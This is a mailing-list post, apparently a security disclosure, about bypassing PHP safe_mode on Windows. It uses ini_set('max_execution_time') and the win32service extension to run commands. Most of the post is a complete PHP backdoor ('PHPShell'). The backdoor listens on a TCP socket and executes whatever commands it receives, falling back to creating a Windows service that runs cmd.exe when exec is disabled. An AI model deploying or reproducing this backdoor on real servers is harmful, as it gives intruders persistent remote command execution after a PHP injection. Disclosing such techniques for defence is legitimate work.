Mailing List Archive

when safe_mode = on, set_time_limit is "off", then we can use
ini_set("max_execution_time", 90000000);

suppose the server is vulnerable PHP injection, then an attacker make a backdoor in PHP and register it in SCM of windows with win32service extension.

the backdoor need wait for connections, if safe_mode = on, then it can use ini_set("max_execution_time", quantity) instead set_time_limit(0), because safe_mode block this.

example of backdoor that use this technique:

<?php
//script for low versions of PHP
//PHPShell by branco
//contact by brancohat gmail.com
//gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci

ini_set("max_execution_time", 90000000);
set_time_limit(0);

define("NEW_LINE", "\n\r");
define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe');

Class Backdoor
{
var $exec;
var $result;


// PHP bypass with win32service, technique of NetJackal
function execCommand($cmd) {
$dir=ini_get('upload_tmp_dir');
$n=uniqid('NJ');
$name=$dir."\\log";

$cmd_local=(empty($_SERVER['ComSpec']))?
CMD_DIR :$_SERVER ['ComSpec'];

win32_create_service(array('service'=>$n,'display'=>$n,
'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\""));

win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$content=file_get_contents($name);
unlink($name);

return $content;
}

function execConfig() {
$safe_mode = ini_get("safe_mode");
$disable_functions = ini_get("disable_functions");
// se for possivel utiliza a funcao exec
if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) {
$this->exec = "exec";
}
//se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao win32service esteja habilitada
else {
if (extension_loaded('win32service')) {
$this->exec = "execCommand";
}
else {
$this->exec = "impossivel";
}
}
}


function errCatch() {
exit(socket_strerror(socket_last_error()) . socket_last_error());
}

function listen() {
$socket;
$socket_stream;
$input_socket;
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch();
socket_bind($socket,'127.0.0.1', 666) or $this->errCatch();
socket_listen($socket, 5) or $this->errCatch();


do {
$socket_stream = socket_accept($socket);
if ($socket_stream === false) {
continue 1;
}
// so passa caso alguem se conecte, ai vem a mensagem de boas vindas
$msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE;
socket_write($socket_stream, $msg, strlen($msg));


// aqui trata a sessao
do {
$input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or
$this->errCatch();


$input_socket = trim($input_socket);
if (empty($input_socket)) {
continue 1; # goto sessao
}

switch ($input_socket) {
case "quit":
socket_close($socket_stream);
break 2; # goto sessao
case "shutdown":
socket_close($socket_stream);
socket_close($socket);
break 3; # goto termina
}

// caso os comandos nao sejam quit nem shutdown

if ($this->exec == "execCommand") {
$this->result = $this->execCommand($input_socket);
}

if ($this->exec == "exec") {
$output = "";
$result_complete = "";
$value = "";

exec($input_socket, $output);
foreach ($output as $value) {
$result_complete .= "$value" . NEW_LINE;
}

$this->result = $result_complete;
}

if ($this->exec == "impossivel") {
$this->result = NEW_LINE . "Nao foi possivel executar comandos, safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de burlar safe_mode, edite o backdoor" . NEW_LINE;
}

if ($this->result) { // pra caso result esteja vazio o socket nao gerar erro e fexar sessao
socket_write($socket_stream,$this->result, strlen($this->result)) or
$this->errCatch();
}

} while(true);
#sessao

} while(true);
#termina

}

function Backdoor() {
$this->exec = "";
$this->result = "";
$this->execConfig();
socket_clear_error();
$this->listen();
}

}

$backdoor = new Backdoor();
?>